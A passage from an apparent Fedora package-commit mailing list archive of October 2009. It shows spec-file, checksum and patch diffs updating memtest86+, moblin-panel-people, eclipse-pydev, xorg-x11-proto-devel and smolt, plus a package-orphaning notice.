 Group:    System Environment/Base
@@ -84,6 +84,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 13 2009 Jarod Wilson <jarod at redhat.com> - 4.00-2
+- Fix memtest-setup on systems without a separate /boot
+  filesystem (#528651)
+
 * Tue Sep 29 2009 Jarod Wilson <jarod at redhat.com> - 4.00-1
 - Update to new upstream release, v4.00
 - Drop gcc4.2+ patch, merged upstream



From pbrobinson at fedoraproject.org  Tue Oct 13 19:00:13 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 19:00:13 +0000 (UTC)
Subject: rpms/moblin-panel-people/F-12 .cvsignore, 1.4,
	1.5 moblin-panel-people.spec, 1.6, 1.7 sources, 1.4, 1.5
Message-ID: <20091013190013.322F311C02A1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3155

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.6 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	10 Oct 2009 20:45:13 -0000	1.4
+++ .cvsignore	13 Oct 2009 19:00:09 -0000	1.5
@@ -1 +1 @@
-moblin-panel-people-0.0.4.tar.bz2
+moblin-panel-people-0.0.6.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/moblin-panel-people.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- moblin-panel-people.spec	10 Oct 2009 20:45:14 -0000	1.6
+++ moblin-panel-people.spec	13 Oct 2009 19:00:12 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.4
+Version:        0.0.6
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,12 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
+- New upstream 0.0.6 release
+
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.5-1
+- New upstream 0.0.5 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.4-1
 - New upstream 0.0.4 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	10 Oct 2009 20:45:14 -0000	1.4
+++ sources	13 Oct 2009 19:00:13 -0000	1.5
@@ -1 +1 @@
-1e09b8d77d562a110bed85e4701c608a  moblin-panel-people-0.0.4.tar.bz2
+772e5557e49c0ca4a9bdc3340286be69  moblin-panel-people-0.0.6.tar.bz2



From akurtakov at fedoraproject.org  Tue Oct 13 19:02:43 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 19:02:43 +0000 (UTC)
Subject: rpms/eclipse-pydev/devel use-piccolo2d-bundle.patch, NONE,
	1.1 .cvsignore, 1.20, 1.21 sources, 1.20,
	1.21 eclipse-pydev.spec, 1.31, 1.32 fetch-pydev-mylyn.sh, 1.1, NONE
Message-ID: <20091013190243.AC8A511C0267@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-pydev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5164/devel

Modified Files:
	.cvsignore sources eclipse-pydev.spec 
Added Files:
	use-piccolo2d-bundle.patch 
Removed Files:
	fetch-pydev-mylyn.sh 
Log Message:
Update to upstream 1.5.0.

use-piccolo2d-bundle.patch:
 MANIFEST.MF |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE use-piccolo2d-bundle.patch ---
--- plugins/com.python.pydev/META-INF/MANIFEST.MF.sav	2009-10-12 21:23:15.114882563 +0300
+++ plugins/com.python.pydev/META-INF/MANIFEST.MF	2009-10-12 21:24:31.891881990 +0300
@@ -24,7 +24,8 @@ Require-Bundle: org.eclipse.ui,
  org.eclipse.ui.console,
  org.python.pydev.jython,
  org.eclipse.search,
- org.eclipse.ui.ide
+ org.eclipse.ui.ide,
+ org.piccolo2d.swt
 Eclipse-LazyStart: true
 Bundle-ClassPath: pydev.jar,
  retroweaver-rt.jar,


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-pydev/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	17 Jul 2009 14:02:31 -0000	1.20
+++ .cvsignore	13 Oct 2009 19:02:42 -0000	1.21
@@ -2,3 +2,4 @@ org.python.pydev.mylyn.feature-fetched-s
 org.python.pydev.feature-1.4.5.2727-sources.zip
 org.python.pydev.feature-1.4.6.2788-sources.zip
 org.python.pydev.feature-1.4.7.2843-sources.zip
+org.python.pydev.feature-1.5.0.1251989166-sources.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-pydev/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	17 Jul 2009 14:02:31 -0000	1.20
+++ sources	13 Oct 2009 19:02:42 -0000	1.21
@@ -1 +1 @@
-43b70bf1ddd1db0d1e64e53b32fb3130  org.python.pydev.feature-1.4.7.2843-sources.zip
+3a72ab31ae84d1788925c5d3f1142446  org.python.pydev.feature-1.5.0.1251989166-sources.zip


Index: eclipse-pydev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-pydev/devel/eclipse-pydev.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- eclipse-pydev.spec	24 Jul 2009 20:56:37 -0000	1.31
+++ eclipse-pydev.spec	13 Oct 2009 19:02:42 -0000	1.32
@@ -1,6 +1,6 @@
 # psyco: Bug 483357 - Empty eclipse-pydev-debuginfo
 %global debug_package %{nil}
-%global qualifier 2843
+%global qualifier 1251989166
 
 Epoch: 1
 
@@ -8,25 +8,24 @@ Epoch: 1
 %define install_loc         %{_libdir}/eclipse/dropins
 
 %define major     1
-%define minor     4
-%define maint     7
+%define minor     5
+%define maint     0
 
 Summary:          Eclipse Python development plug-in
 Name:             eclipse-pydev
 Version:          %{major}.%{minor}.%{maint}
-Release:          3%{?dist}
+Release:          1%{?dist}
 License:          EPL
-URL:              http://pydev.sourceforge.net
+URL:              http://pydev.org
 Group:            Development/Tools
 
 Source0:          http://downloads.sourceforge.net/pydev/org.python.pydev.feature-%{version}.%{qualifier}-sources.zip
-Source1:          fetch-pydev-mylyn.sh
-
+Patch0:           use-piccolo2d-bundle.patch
 BuildRequires:    java-devel >= 1.5.0
 
 Requires:         eclipse-jdt
 Requires:         python
-# Psyco is available only on x86 
+# Psyco is available only on x86
 %ifarch %{ix86}
 Requires:         python-psyco
 %endif
@@ -68,83 +67,73 @@ Group: Development/Tools
 Mylyn Task-Focused UI extensions for Pydev.
 
 %prep
-%setup -q -c 
-
+%setup -q -c
+%patch0
 #fix mylyn plugin version
 sed --in-place 's:version="0.3.0":version="%{version}.%{qualifier}":' features/org.python.pydev.mylyn.feature/feature.xml
 
 # remove pre-generated build files
-find . -name build.xml | xargs rm 
+find . -name build.xml | xargs rm
 
-# remove pre-built jars
-rm -f plugins/org.python.pydev.core/core.jar
-rm -f plugins/org.python.pydev.ast/ast.jar
-rm -f plugins/org.python.pydev.debug/pydev-debug.jar
-rm -f plugins/org.python.pydev.parser/parser.jar
-rm -f plugins/org.python.pydev/pydev.jar
-rm -f plugins/org.python.pydev.jython/pydev-jython.jar
-rm -f plugins/org.python.pydev.refactoring/refactoring.jar
+#remove piccolo2d sources, we use the system one
+rm -fr plugins/com.python.pydev/src/edu
 
-# remove included retroweaver jars as it isn't being used
-find . -name retroweaver-rt.jar | xargs rm 
+# remove pre-built jars
+find -name '*.class' -exec rm -f '{}' \;
+find -name '*.jar' -exec rm -f '{}' \;
 
 # link to system jars
-rm -f plugins/org.python.pydev.core/commons-codec.jar
 ln -sf %{_javadir}/jakarta-commons-codec.jar \
        plugins/org.python.pydev.core/commons-codec.jar
 
-rm -f plugins/org.python.pydev.core/lib/junit.jar
 ln -sf %{_javadir}/junit.jar \
        plugins/org.python.pydev.core/junit.jar
 
-rm -f plugins/org.python.pydev.jython/jython.jar
 ln -sf %{_javadir}/jython.jar \
        plugins/org.python.pydev.jython/jython.jar
-       
-rm -f plugins/org.python.pydev.debug/commons-logging-1.1.jar
+
 ln -sf %{_javadir}/jakarta-commons-logging.jar \
        plugins/org.python.pydev.debug/commons-logging-1.1.jar
-       
-rm -f plugins/org.python.pydev.debug/ws-commons-util-1.0.2.jar
+
 ln -sf %{_javadir}/ws-commons-util.jar \
        plugins/org.python.pydev.debug/ws-commons-util-1.0.2.jar
-       
-rm -f plugins/org.python.pydev.debug/xmlrpc-client-3.1.jar
+
 ln -sf %{_javadir}/xmlrpc3-client.jar \
        plugins/org.python.pydev.debug/xmlrpc-client-3.1.jar
 
-rm -f plugins/org.python.pydev.debug/xmlrpc-common-3.1.jar
 ln -sf %{_javadir}/xmlrpc3-common.jar \
        plugins/org.python.pydev.debug/xmlrpc-common-3.1.jar
-       
-rm -f plugins/org.python.pydev.debug/xmlrpc-server-3.1.jar
+
 ln -sf %{_javadir}/xmlrpc3-server.jar \
        plugins/org.python.pydev.debug/xmlrpc-server-3.1.jar
 
-rm -f plugins/org.python.pydev.refactoring/tests/lib/JFlex.jar
 # enable when tests are used
 #ln -sf %{_datadir}/java/jflex.jar \
 #       plugins/org.python.pydev.refactoring/tests/lib/JFlex.jar
 
-rm -f plugins/org.python.pydev.refactoring/tests/lib/xpp3_min-1.1.3.4.O.jar
 # enable when tests are used
 #ln -sf %{_datadir}/java/xpp3-minimal.jar \
 #       plugins/org.python.pydev.refactoring/tests/lib/xpp3_min-1.1.3.4.O.jar
 
-rm -f plugins/org.python.pydev.refactoring/tests/lib/xstream-1.2.1.jar
 # enable when tests are used
 #ln -sf %{_datadir}/java/xstream.jar \
 #       plugins/org.python.pydev.refactoring/tests/lib/xstream-1.2.1.jar
 
-rm -f plugins/org.python.pydev.refactoring/contrib/ch/hsr/ukistler/astgraph/jgraph.jar
+
+mkdir orbitDeps
+pushd orbitDeps
+ln -s %{_javadir}/piccolo2d/piccolo2d-core.jar piccolo2d-core.jar
+ln -s %{_javadir}/piccolo2d/piccolo2d-extras.jar piccolo2d-extras.jar
+ln -s %{_javadir}/piccolo2d/piccolo2d-swt.jar piccolo2d-swt.jar
+popd
 
 %build
 %{eclipse_base}/buildscripts/pdebuild \
-  -f org.python.pydev.feature -a "-DjavacSource=1.5 -DjavacTarget=1.5"
+  -f org.python.pydev.feature -a "-DjavacSource=1.5 -DjavacTarget=1.5" -o `pwd`/orbitDeps
 
 %{eclipse_base}/buildscripts/pdebuild \
   -d mylyn \
-  -f org.python.pydev.mylyn.feature -a "-DjavacSource=1.5 -DjavacTarget=1.5"
+  -f org.python.pydev.mylyn.feature -a "-DjavacSource=1.5 -DjavacTarget=1.5" -o `pwd`/orbitDeps
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -160,6 +149,9 @@ unzip -q -d ${installDir}-mylyn build/rp
 
 # deal with linked deps
 pushd $installDir/eclipse/plugins
+ln -s %{_javadir}/piccolo2d/piccolo2d-core.jar piccolo2d-core.jar
+ln -s %{_javadir}/piccolo2d/piccolo2d-extras.jar piccolo2d-extras.jar
+ln -s %{_javadir}/piccolo2d/piccolo2d-swt.jar piccolo2d-swt.jar
 rm -rf org.python.pydev.core_%{version}.%{qualifier}/commons-codec.jar
 ln -sf %{_javadir}/jakarta-commons-codec.jar \
        org.python.pydev.core_%{version}.%{qualifier}/commons-codec.jar
@@ -171,11 +163,11 @@ ln -sf %{_javadir}/junit.jar \
 rm -rf org.python.pydev.debug_%{version}.%{qualifier}/commons-logging-1.1.jar
 ln -sf %{_javadir}/jakarta-commons-logging.jar \
        org.python.pydev.debug_%{version}.%{qualifier}/commons-logging-1.1.jar
-       
+
 rm -rf org.python.pydev.debug_%{version}.%{qualifier}/ws-commons-util-1.0.2.jar
 ln -sf %{_javadir}/ws-commons-util.jar \
        org.python.pydev.debug_%{version}.%{qualifier}/ws-commons-util-1.0.2.jar
-       
+
 rm -f org.python.pydev.debug_%{version}.%{qualifier}/xmlrpc-client-3.1.jar
 ln -sf %{_javadir}/xmlrpc3-client.jar \
        org.python.pydev.debug_%{version}.%{qualifier}/xmlrpc-client-3.1.jar
@@ -183,7 +175,7 @@ ln -sf %{_javadir}/xmlrpc3-client.jar \
 rm -f org.python.pydev.debug_%{version}.%{qualifier}/xmlrpc-common-3.1.jar
 ln -sf %{_javadir}/xmlrpc3-common.jar \
        org.python.pydev.debug_%{version}.%{qualifier}/xmlrpc-common-3.1.jar
-       
+
 rm -f org.python.pydev.debug_%{version}.%{qualifier}/xmlrpc-server-3.1.jar
 ln -sf %{_javadir}/xmlrpc3-server.jar \
        org.python.pydev.debug_%{version}.%{qualifier}/xmlrpc-server-3.1.jar
@@ -202,7 +194,7 @@ chmod 0755 `find ${RPM_BUILD_ROOT} -name
 # sed -i 's/\r//' `find ${RPM_BUILD_ROOT} -name '*\.py' | xargs`
 
 
-%clean 
+%clean
 rm -rf ${RPM_BUILD_ROOT}
 
 %files
@@ -214,6 +206,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{install_loc}/pydev-mylyn
 
 %changelog
+* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1:1.5.0-1
+- Update to upstream 1.5.0.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.4.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -351,7 +346,7 @@ rm -rf ${RPM_BUILD_ROOT}
 - Update to version 1.2.5.
 - Include Jython functionality again.
 - Fix spacing issues.
-- Remove backport to Java 1.4. 
+- Remove backport to Java 1.4.
 - Change build method to package-build.
 - Include script to create the tarball.
 


--- fetch-pydev-mylyn.sh DELETED ---



From pkgdb at fedoraproject.org  Tue Oct 13 19:04:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 19:04:25 +0000
Subject: [pkgdb] xfce4-stopwatch-plugin ownership updated
Message-ID: <20091013190425.6BFB010F86A@bastion2.fedora.phx.redhat.com>

Package xfce4-stopwatch-plugin in Fedora 10 was orphaned by cwickert

To make changes to this package see:
  /pkgdb/packages/name/xfce4-stopwatch-plugin



From akurtakov at fedoraproject.org  Tue Oct 13 19:07:19 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 19:07:19 +0000 (UTC)
Subject: rpms/eclipse-pydev/devel eclipse-pydev.spec,1.32,1.33
Message-ID: <20091013190719.C140D11C00E8@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-pydev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7765/devel

Modified Files:
	eclipse-pydev.spec 
Log Message:
- Add piccolo2d BR/R.


Index: eclipse-pydev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-pydev/devel/eclipse-pydev.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- eclipse-pydev.spec	13 Oct 2009 19:02:42 -0000	1.32
+++ eclipse-pydev.spec	13 Oct 2009 19:07:19 -0000	1.33
@@ -14,7 +14,7 @@ Epoch: 1
 Summary:          Eclipse Python development plug-in
 Name:             eclipse-pydev
 Version:          %{major}.%{minor}.%{maint}
-Release:          1%{?dist}
+Release:          2%{?dist}
 License:          EPL
 URL:              http://pydev.org
 Group:            Development/Tools
@@ -37,6 +37,7 @@ Requires:         xmlrpc3-server
 Requires:         junit >= 3.8.1
 Requires:         jython >= 2.2
 Requires:         pylint
+Requires:         piccolo2d
 BuildRequires:    eclipse-pde
 BuildRequires:    eclipse-mylyn
 BuildRequires:    jpackage-utils >= 0:1.5
@@ -48,6 +49,7 @@ BuildRequires:    xmlrpc3-common
 BuildRequires:    xmlrpc3-client
 BuildRequires:    xmlrpc3-server
 BuildRequires:    jython >= 2.2
+BuildRequires:    piccolo2d
 
 # This package can not be noarch because psyco is a x86 package.
 #BuildArch:        noarch
@@ -206,6 +208,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{install_loc}/pydev-mylyn
 
 %changelog
+* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1:1.5.0-2
+- Add piccolo2d BR/R.
+
 * Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1:1.5.0-1
 - Update to upstream 1.5.0.
 



From jwilson at fedoraproject.org  Tue Oct 13 19:09:28 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Tue, 13 Oct 2009 19:09:28 +0000 (UTC)
Subject: rpms/memtest86+/F-12 memtest-setup, 1.5, 1.6 memtest86+.spec, 1.50, 
	1.51 sources, 1.21, 1.22
Message-ID: <20091013190928.9D51511C00E8@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/memtest86+/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8274

Modified Files:
	memtest-setup memtest86+.spec sources 
Log Message:
* Tue Oct 13 2009 Jarod Wilson <jarod at redhat.com> - 4.00-2
- Fix memtest-setup on systems without a separate /boot
  filesystem (#528651)
- Update to new upstream release, v4.00



Index: memtest-setup
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/F-12/memtest-setup,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- memtest-setup	24 Apr 2009 17:33:50 -0000	1.5
+++ memtest-setup	13 Oct 2009 19:09:28 -0000	1.6
@@ -32,7 +32,7 @@ if [ "$RETVAL" != "0" ]; then
     echo "ERROR: grubby failed to configure your bootloader for $MTPATH."
     exit $RETVAL
 else
-    sed -i -e"s,kernel /$ENAME,kernel --type=netbsd /$ENAME," /boot/grub/grub.conf
+    sed -i -e"s,kernel \(/boot\)\?/$ENAME,kernel --type=netbsd \1/$ENAME," /boot/grub/grub.conf
     sed -i -e"s,/$ENAME-$MTVERSION.*,/$ENAME-$MTVERSION," /boot/grub/grub.conf
 fi
 


Index: memtest86+.spec
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/F-12/memtest86+.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- memtest86+.spec	18 Aug 2009 20:40:03 -0000	1.50
+++ memtest86+.spec	13 Oct 2009 19:09:28 -0000	1.51
@@ -6,16 +6,14 @@
 %define debug_package %{nil}
 
 Name:     memtest86+
-Version:  2.11
-Release:  11%{?dist}
+Version:  4.00
+Release:  2%{?dist}
 License:  GPLv2
 Summary:  Stand-alone memory tester for x86 and x86-64 computers
 Group:    System Environment/Base
 Source0:  http://www.memtest.org/download/%{version}/%{name}-%{version}.tar.gz
 Source1:  memtest-setup
 Source2:  new-memtest-pkg
-# Patch sent by Jarod to memtest86+ maintainer on 2009.08.18
-Patch0:   memtest86+-2.11-make-gcc4-builds-work.patch
 URL:      http://www.memtest.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 # require glibc-devel.i386 via this file:
@@ -41,7 +39,6 @@ to add the %{name} entry to your GRUB bo
 
 %prep
 %setup -q 
-#patch0 -p1
 sed -i -e's,0x10000,0x100000,' memtest.lds
 
 %build
@@ -87,6 +84,14 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 13 2009 Jarod Wilson <jarod at redhat.com> - 4.00-2
+- Fix memtest-setup on systems without a separate /boot
+  filesystem (#528651)
+
+* Tue Sep 29 2009 Jarod Wilson <jarod at redhat.com> - 4.00-1
+- Update to new upstream release, v4.00
+- Drop gcc4.2+ patch, merged upstream
+
 * Mon Aug 17 2009 Jarod Wilson <jarod at redhat.com> - 2.11-11
 - Fix runtime operation when built with gcc4.2+ (#442285)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	24 Apr 2009 17:33:51 -0000	1.21
+++ sources	13 Oct 2009 19:09:28 -0000	1.22
@@ -1 +1 @@
-e457774139c0bfef899359df91f49b3e  memtest86+-2.11.tar.gz
+898cfc5ff7920a8c396ebe898ac2eaa5  memtest86+-4.00.tar.gz



From ajax at fedoraproject.org  Tue Oct 13 19:09:38 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:09:38 +0000 (UTC)
Subject: rpms/xorg-x11-proto-devel/devel .cvsignore, 1.62, 1.63 sources, 1.61,
	1.62 xorg-x11-proto-devel.spec, 1.111, 1.112
Message-ID: <20091013190938.0C7AA11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-proto-devel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8440

Modified Files:
	.cvsignore sources xorg-x11-proto-devel.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-34
- kbproto 1.0.4
- xf86miscproto 0.9.3
- xproxymanagementprotocol 1.0.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	6 Oct 2009 07:11:49 -0000	1.62
+++ .cvsignore	13 Oct 2009 19:09:37 -0000	1.63
@@ -26,3 +26,6 @@ randrproto-1.3.1.tar.bz2
 glproto-1.4.10.tar.bz2
 dri2proto-2.1.tar.bz2
 inputproto-2.0.tar.bz2
+kbproto-1.0.4.tar.bz2
+xf86miscproto-0.9.3.tar.bz2
+xproxymanagementprotocol-1.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	6 Oct 2009 07:11:49 -0000	1.61
+++ sources	13 Oct 2009 19:09:37 -0000	1.62
@@ -4,7 +4,6 @@ d30c5dbf19ca6dffcd9788227ecff8c5  bigreq
 880a41720b2937e2660dcdc0d34a8791  dmxproto-2.3.tar.bz2
 5c74f61d6f77b2e6a083b2b31000be42  evieext-1.1.0.tar.bz2
 f3a857deadca3144fba041af1dbf7603  fontsproto-2.1.0.tar.bz2
-6092cdb0a1225f95356ddbe6c2abaad5  kbproto-1.0.3.tar.bz2
 70f5998c673aa510e2acd6d8fb3799de  recordproto-1.14.tar.bz2
 b160a9733fe91b666e74fca284333148  renderproto-0.11.tar.bz2
 84795594b3ebd2ee2570cf93340d152c  resourceproto-1.1.0.tar.bz2
@@ -14,14 +13,15 @@ fb762146a18207a1e8bc9f299dfc7ac0  videop
 120e226ede5a4687b25dd357cc9b8efe  xf86bigfontproto-1.2.0.tar.bz2
 a036dc2fcbf052ec10621fd48b68dbb1  xf86dgaproto-2.1.tar.bz2
 309d552732666c3333d7dc63e80d042f  xf86driproto-2.1.0.tar.bz2
-acae8edeb05a406f7f60bcbb218a8f1d  xf86miscproto-0.9.2.tar.bz2
 4434894fc7d4eeb4a22e6b876d56fdaa  xf86vidmodeproto-2.3.tar.bz2
 a8aadcb281b9c11a91303e24cdea45f5  xineramaproto-1.2.tar.bz2
 75c9edff1f3823e5ab6bb9e66821a901  xproto-7.0.16.tar.bz2
-d28007a50976204960fc1fc07b4ca093  xproxymanagementprotocol-1.0.2.tar.bz2
 c9f8cebfba72bfab674bc0170551fb8d  glproto-1.4.10.tar.bz2
 5cb7987d29db068153bdc8f23c767c43  dri2proto-2.1.tar.bz2
 0f7acbc14a082f9ae03744396527d23d  inputproto-2.0.tar.bz2
 a5c244c36382b0de39b2828cea4b651d  randrproto-1.3.1.tar.bz2
 fb6ccaae76db7a35e49b12aea60ca6ff  xextproto-7.1.1.tar.bz2
 4c1cb4f2ed9f34de59f2f04783ca9483  fixesproto-4.1.1.tar.bz2
+7f439166a9b2bf81471a33951883019f  kbproto-1.0.4.tar.bz2
+ca63bbb31cf5b7f37b2237e923ff257a  xf86miscproto-0.9.3.tar.bz2
+9de22ca1522008c28fb03dfc41ba2d30  xproxymanagementprotocol-1.0.3.tar.bz2


Index: xorg-x11-proto-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/xorg-x11-proto-devel.spec,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- xorg-x11-proto-devel.spec	6 Oct 2009 07:11:49 -0000	1.111
+++ xorg-x11-proto-devel.spec	13 Oct 2009 19:09:37 -0000	1.112
@@ -7,7 +7,7 @@
 Summary: X.Org X11 Protocol headers
 Name: xorg-x11-proto-devel
 Version: 7.4
-Release: 33%{?dist}
+Release: 34%{?dist}
 License: MIT
 Group: Development/System
 URL: http://www.x.org
@@ -24,7 +24,7 @@ Source5:  http://www.x.org/pub/individua
 Source7:  http://www.x.org/pub/individual/proto/fontsproto-2.1.0.tar.bz2
 Source8:  http://www.x.org/pub/individual/proto/glproto-1.4.10.tar.bz2
 Source9:  http://www.x.org/pub/individual/proto/inputproto-2.0.tar.bz2
-Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.3.tar.bz2
+Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.4.tar.bz2
 Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.1.tar.bz2
 Source14: http://www.x.org/pub/individual/proto/recordproto-1.14.tar.bz2
 Source15: http://www.x.org/pub/individual/proto/renderproto-0.11.tar.bz2
@@ -36,11 +36,11 @@ Source21: http://www.x.org/pub/individua
 Source22: http://www.x.org/pub/individual/proto/xf86bigfontproto-1.2.0.tar.bz2
 Source23: http://www.x.org/pub/individual/proto/xf86dgaproto-2.1.tar.bz2
 Source24: http://www.x.org/pub/individual/proto/xf86driproto-2.1.0.tar.bz2
-Source25: http://www.x.org/pub/individual/proto/xf86miscproto-0.9.2.tar.bz2
+Source25: http://www.x.org/pub/individual/proto/xf86miscproto-0.9.3.tar.bz2
 Source27: http://www.x.org/pub/individual/proto/xf86vidmodeproto-2.3.tar.bz2
 Source28: http://www.x.org/pub/individual/proto/xineramaproto-1.2.tar.bz2
 Source29: http://www.x.org/pub/individual/proto/xproto-7.0.16.tar.bz2
-Source30: http://www.x.org/pub/individual/proto/xproxymanagementprotocol-1.0.2.tar.bz2
+Source30: http://www.x.org/pub/individual/proto/xproxymanagementprotocol-1.0.3.tar.bz2
 
 Patch1: dri2-page-flip.patch
 
@@ -67,8 +67,6 @@ cd ..
 
 %build
 
-
-
 # Proceed through each proto package directory, building them all
 for dir in $(ls -1) ; do
 	pushd $dir
@@ -89,8 +87,9 @@ for dir in $(ls -1) ; do
 	popd
 done
 for i in composite damage fixes randr render ; do
-    mv $RPM_BUILD_ROOT/usr/share/doc/${i}proto/${i}proto.txt .
+    mv $RPM_BUILD_ROOT%{_docdir}/${i}proto/${i}proto.txt .
 done
+mv $RPM_BUILD_ROOT%{_docdir}/xproxymanagementprotocol/PM_spec .
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -103,6 +102,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc fixesproto.txt
 %doc randrproto.txt
 %doc renderproto.txt
+%doc PM_spec
 %dir %{_includedir}/GL
 %{_includedir}/GL/glxint.h
 %{_includedir}/GL/glxmd.h
@@ -267,6 +267,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/xproxymngproto.pc
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-34
+- kbproto 1.0.4
+- xf86miscproto 0.9.3
+- xproxymanagementprotocol 1.0.3
+
 * Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-33
 - Upload xf86dgaproto 2.1 tarball, this time for real.
 



From mmcgrath at fedoraproject.org  Tue Oct 13 19:25:13 2009
From: mmcgrath at fedoraproject.org (Mike McGrath)
Date: Tue, 13 Oct 2009 19:25:13 +0000 (UTC)
Subject: rpms/smolt/EL-5 0001-Client-Hopefully-fix-encoding-trouble.patch,
	NONE, 1.1 smolt.spec, 1.41, 1.42
Message-ID: <20091013192513.6D4CE11C00E8@cvs1.fedora.phx.redhat.com>

Author: mmcgrath

Update of /cvs/pkgs/rpms/smolt/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13107

Modified Files:
	smolt.spec 
Added Files:
	0001-Client-Hopefully-fix-encoding-trouble.patch 
Log Message:
Adding patch that is requried for build

0001-Client-Hopefully-fix-encoding-trouble.patch:
 sendProfile.py |    9 +++++----
 smolt.py       |   12 +++++++++++-
 2 files changed, 16 insertions(+), 5 deletions(-)

--- NEW FILE 0001-Client-Hopefully-fix-encoding-trouble.patch ---
>From 7243f1fcc395cdf87815ac5a33c0d2f8b61c0cdf Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian at pipping.org>
Date: Sun, 20 Sep 2009 21:38:35 +0200
Subject: [PATCH 1/2] Client: Hopefully fix encoding trouble

More or less a squashed cherry-pick from these commits:
- 7592c44f6eef240aaae147ba11ffe85a4156068b
- 81bfa3f0f5172d853f95034e061c4e3a4bd55ebe
- b21ddc39c1e51329a957a463aff3b7db09f5a726
